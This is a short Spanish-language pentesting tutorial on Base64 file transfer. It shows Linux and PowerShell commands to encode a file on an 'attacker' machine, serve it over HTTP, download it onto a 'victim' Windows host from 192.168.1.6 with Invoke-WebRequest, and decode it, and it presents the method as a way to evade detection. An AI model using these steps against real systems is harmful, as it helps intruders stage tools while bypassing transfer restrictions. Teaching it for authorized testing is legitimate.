Utilizando Base64

Otra técnica utilizada para transferir archivos es convertir el archivo a un formato de texto (Base64) para luego transferirlo y reconvertirlo en el sistema de destino. Esta técnica es útil para evadir restricciones de transferencia de archivos binarios directos.

Convertir un Archivo a Base64:

  1. Convertir un archivo a Base64 en la máquina del atacante (Linux):

    base64 file.txt > file.txt.b64
  2. Convertir un archivo a Base64 en la máquina del atacante (Windows):

    [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Path\To\File\file.txt")) > file.txt.b64

Transferir el Archivo en Formato Base64:

El archivo en formato Base64 puede ser transferido utilizando cualquier método (HTTP, FTP, SMB, etc.) mencionado anteriormente.

Reconstruir el Archivo desde Base64:

  1. Reconstruir el archivo desde Base64 en la máquina víctima (Linux):

    base64 -d file.txt.b64 > file.txt
  2. Reconstruir el archivo desde Base64 en la máquina víctima (Windows):

    [IO.File]::WriteAllBytes("C:\Path\To\Save\file.txt", [Convert]::FromBase64String((Get-Content -Path "file.txt.b64" -Raw)))

Ejemplo Completo de Transferencia Base64:

  1. Convertir a Base64 y Transferir (Atacante - Linux):

    base64 file.txt > file.txt.b64
    python -m SimpleHTTPServer 80
  2. Descargar y Reconstruir (Víctima - Windows):

    Invoke-WebRequest -Uri http://192.168.1.6/file.txt.b64 -OutFile C:\Path\To\Save\file.txt.b64
    [IO.File]::WriteAllBytes("C:\Path\To\Save\file.txt", [Convert]::FromBase64String((Get-Content -Path "C:\Path\To\Save\file.txt.b64" -Raw)))

Estas técnicas permiten a los atacantes transferir archivos sin ser detectados fácilmente, utilizando herramientas y métodos que son comúnmente permitidos y considerados seguros en muchos entornos.

Última actualización